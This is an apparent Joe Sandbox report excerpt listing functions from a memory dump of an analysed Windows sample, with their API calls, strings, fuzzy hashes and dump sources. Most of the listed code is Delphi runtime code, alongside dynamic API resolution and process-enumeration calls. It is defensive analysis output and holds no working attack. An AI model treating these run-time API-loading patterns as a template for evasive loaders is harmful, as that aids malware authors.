String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 4d6e3a5715cfad21ba401b3135cb9358c706162439a926dd5349d860b79d8e33
Instruction ID: 9d51ec395623c0640dcce321922df8ba51099ba4cb8645341354e639782c0f7b
Opcode Fuzzy Hash: 4d6e3a5715cfad21ba401b3135cb9358c706162439a926dd5349d860b79d8e33
Instruction Fuzzy Hash: F03180F8E817509FEF11DFA4A989B2537BEEB197047014DA6A402CF244F6749454CF61

Function 027D5908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,027D737C,027D0000,027FE790), ref: 027D5925
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 027D593C
lstrcpynA.KERNEL32(?,?,?), ref: 027D596C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,027D737C,027D0000,027FE790), ref: 027D59D0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,027D737C,027D0000,027FE790), ref: 027D5A06
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,027D737C,027D0000,027FE790), ref: 027D5A19
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,027D737C,027D0000,027FE790), ref: 027D5A2B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027D737C,027D0000,027FE790), ref: 027D5A37
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027D737C,027D0000), ref: 027D5A6B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,027D737C), ref: 027D5A77
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 027D5A99

Strings

\, xrefs: 027D5A49
kernel32.dll, xrefs: 027D5920
GetLongPathNameA, xrefs: 027D5933

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 423660b964baf66d002a572b6533efa1cfb56378c075e079d35e0dbdceaf734e
Instruction ID: fa0362b90c481e39caf5ba907a3971f07131c307d53f358b837822d587a9384b
Opcode Fuzzy Hash: 423660b964baf66d002a572b6533efa1cfb56378c075e079d35e0dbdceaf734e
Instruction Fuzzy Hash: 38416E71E00629AFDB11DBE8CC88ADEBBBDAF48350F8445A5A158E7241E770DF448F64

Function 027D5BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 027D5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 027D5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 027D5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 027D5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027D5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027D5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 027D5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 027D5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 027D5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 027D5CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 027D5B38
Software\Borland\Locales, xrefs: 027D5AFC, 027D5B1A

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction ID: 2328fdd2a42f158279deea1a8256b3748bbdd6d12dabc866747bbf1b13157308
Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction Fuzzy Hash: BE31A471F4126D2AFB26D6F88C89FDF77BD9B04380F8405A1960CE6181DB749E848FA0

Function 027D7FD4 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 027D7FF5

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction ID: be67af936027537699449efc92ad8d2560a4f2e745c51d810b79d09f1f3a49af
Opcode Fuzzy Hash: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction Fuzzy Hash: 3611DEB5E00209AF9B05CF99C881DAFF7F9FFC9304B54C569A509E7254E671AA018BA0

Function 027DA7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027DA7E2

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction ID: c396314a23b4a9f96df9c766c0add5aa8b6bf1be128c16d8482352ee59576f6f
Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction Fuzzy Hash: 3CE0D87270022417D312A558EC89EF6737DA758310F0042BABD06D7385EEF09E804AE8

Function 027DB78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,027FD106,00000000,027FD11E), ref: 027DB79A

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 2df821fe1c0b2850e5714d7c8dba99aec719e861e336eb83a962f5c2fed5e111
Instruction ID: 7b320200a1fdac533799529f07e56679c52cc05a5f38b44a45ad8ac79cff815a
Opcode Fuzzy Hash: 2df821fe1c0b2850e5714d7c8dba99aec719e861e336eb83a962f5c2fed5e111
Instruction Fuzzy Hash: DDF0AF789483039FD390DF29D441A16B7EAFB48724F418D29EA9887390E734A894CF62

Function 027DA810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,027DBE72,00000000,027DC08B,?,?,00000000,00000000), ref: 027DA823

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction ID: 829dde694dd0b27bb793fb25bea6cf45d41caef0f97037f34a2e13389430dd66
Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction Fuzzy Hash: C5D05EA674E2602AA311915A2D85D7B9AFCDAC57A1F00407AFD88C7101D3008C07DAB1

Function 027D920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 027D9210

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction ID: f75122e12ea53b13a10ae4fb423491a24eb2dca2e27d63284c27b05072b011ba
Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction Fuzzy Hash: 3DA0124440482041854033181C0263430649810A20FC4878068F8402D0E91D01208093

Function 027D20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 027DD294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 027DD29D

Part of subcall function 027DD268: GetProcAddress.KERNEL32(00000000), ref: 027DD281

Strings

VarOr, xrefs: 027DD387
VarMod, xrefs: 027DD35B
VarR8FromStr, xrefs: 027DD3F5
VarNot, xrefs: 027DD2D7
VarCyFromStr, xrefs: 027DD421
VarBstrFromDate, xrefs: 027DD463
VarR4FromStr, xrefs: 027DD3DF
VarDiv, xrefs: 027DD32F
VarDateFromStr, xrefs: 027DD40B
VarXor, xrefs: 027DD39D
VarMul, xrefs: 027DD319
VarAdd, xrefs: 027DD2ED
VarBoolFromStr, xrefs: 027DD437
VarSub, xrefs: 027DD303
VariantChangeTypeEx, xrefs: 027DD2AB
VarAnd, xrefs: 027DD371
VarBstrFromCy, xrefs: 027DD44D
VarI4FromStr, xrefs: 027DD3C9
oleaut32.dll, xrefs: 027DD298
VarCmp, xrefs: 027DD3B3
VarBstrFromBool, xrefs: 027DD479
VarNeg, xrefs: 027DD2C1
VarIdiv, xrefs: 027DD345

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: a14e6d1fce776ea0c8140a400593bde20454c2423af50513e836a1aaec06f4d6
Instruction ID: 70082f25d28e397680997710b4296ada3d3d00ab7a2de472876329938869d6bb
Opcode Fuzzy Hash: a14e6d1fce776ea0c8140a400593bde20454c2423af50513e836a1aaec06f4d6
Instruction Fuzzy Hash: F241ABB7A893085B56366BBD740462BB7FED644B143A3863AF404CB784DE30FC55CA29

Function 027E6ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 027E6EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 027E6EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 027E6EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 027E6F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 027E6F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 027E6F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 027E6F3F

Strings

CoCreateInstanceEx, xrefs: 027E6EE9
CoAddRefServerProcess, xrefs: 027E6F09
CoInitializeEx, xrefs: 027E6EF9
CoSuspendClassObjects, xrefs: 027E6F39
ole32.dll, xrefs: 027E6ED9
CoResumeClassObjects, xrefs: 027E6F29
CoReleaseServerProcess, xrefs: 027E6F19

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: bb1ab7cc17eea2f7dece04f9b20df101042e005921d67c2445baeaf65b8a7f85
Instruction ID: 5f6582be247d842eeb57bc76840c464108304e83433aa26b8a28331dd437f19b
Opcode Fuzzy Hash: bb1ab7cc17eea2f7dece04f9b20df101042e005921d67c2445baeaf65b8a7f85
Instruction Fuzzy Hash: FAF04CE4A8C380BEBE41BB746C85C363F6DE539A043005C96BA4355552F77598148F76

Function 027D2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 027D28CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 027D2849
An unexpected memory leak has occurred. , xrefs: 027D2690
Unknown, xrefs: 027D278C
bytes: , xrefs: 027D275D
String, xrefs: 027D27A1
7, xrefs: 027D26A1
Unexpected Memory Leak, xrefs: 027D28C0
, xrefs: 027D2814
The unexpected small block leaks are:, xrefs: 027D2707

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 89c3fb16abc998b7cc9a6af137fb7ce23d7140d6eddcba614584460fc8a2682b
Instruction ID: 37ccfbb4b12e3cc2aae05fecf055aca71778cf63c419eb97f48cacf89b4f00ba
Opcode Fuzzy Hash: 89c3fb16abc998b7cc9a6af137fb7ce23d7140d6eddcba614584460fc8a2682b
Instruction Fuzzy Hash: 6EA1D430A042648FDB22AA2CCC84B99BAF5EB09350F1441F5DD49AB287CB7589C7CF51

Function 027D252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 027D2849
An unexpected memory leak has occurred. , xrefs: 027D2690
bytes: , xrefs: 027D275D
7, xrefs: 027D26A1
Unexpected Memory Leak, xrefs: 027D28C0
, xrefs: 027D2814
The unexpected small block leaks are:, xrefs: 027D2707

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 604229bb671283c532758d19730ceab8b16d461e07898c1665cc70336f383952
Instruction ID: 088807f612704a6f3a62dbdc8f4d924b73046c39931cc7bf99b782c2e2d59798
Opcode Fuzzy Hash: 604229bb671283c532758d19730ceab8b16d461e07898c1665cc70336f383952
Instruction Fuzzy Hash: E771C430A042688FDB229A2CCC84BD9BAF5EB09714F5441E5D949EB283DB7549C7CF51

Function 027DBDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,027DC08B,?,?,00000000,00000000), ref: 027DBDF6

Part of subcall function 027DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027DA7E2

Strings

m/d/yy, xrefs: 027DBEC5
AMPM, xrefs: 027DC00A
:mm, xrefs: 027DC029
AMPM , xrefs: 027DC019
mmmm d, yyyy, xrefs: 027DBEF2
:mm:ss, xrefs: 027DC046

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 9fec6a6024d47c481c217b8d4bce9920b6805c141a9ae71808601244ba0374c0
Instruction ID: 88f842d5298c3c1cc6d1f45ab7f941d6e89d60cc143101da875deb86fb00df64
Opcode Fuzzy Hash: 9fec6a6024d47c481c217b8d4bce9920b6805c141a9ae71808601244ba0374c0
Instruction Fuzzy Hash: 19614234B001589BDB06EBA4DC54A9FB7B7EF88300F519839E101EB645DA39D94ACBA1

Function 027EAE98 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 027EAEB8
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 027EAECF
IsBadReadPtr.KERNEL32(?,00000004), ref: 027EAF63
IsBadReadPtr.KERNEL32(?,00000002), ref: 027EAF6F
IsBadReadPtr.KERNEL32(?,00000014), ref: 027EAF83

Strings

LoadLibraryExA, xrefs: 027EAEC5
KernelBase, xrefs: 027EAECA

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 06c620b85456ec196bcb8c87b19b52a1e104e13b66f590e99ba4a26b7e74322e
Instruction ID: f5512ac820a2f2d4f168ef4a3e9ae1f1230271d894c348c1ea741b6d64146020
Opcode Fuzzy Hash: 06c620b85456ec196bcb8c87b19b52a1e104e13b66f590e99ba4a26b7e74322e
Instruction Fuzzy Hash: C8314FB6A40305BBDF21DB68CC85F5A77A8AF09728F044154FA16AB2C1D370E950CBB2

Function 027D435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027D4423,?,?,0282A7C8,?,?,027FE7A8,027D65B1,027FD30D), ref: 027D4395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027D4423,?,?,0282A7C8,?,?,027FE7A8,027D65B1,027FD30D), ref: 027D439B
GetStdHandle.KERNEL32(000000F5,027D43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027D4423,?,?,0282A7C8), ref: 027D43B0
WriteFile.KERNEL32(00000000,000000F5,027D43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027D4423,?,?), ref: 027D43B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 027D43D4

Strings

Runtime error at 00000000, xrefs: 027D438E, 027D43CD
Error, xrefs: 027D43C8

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

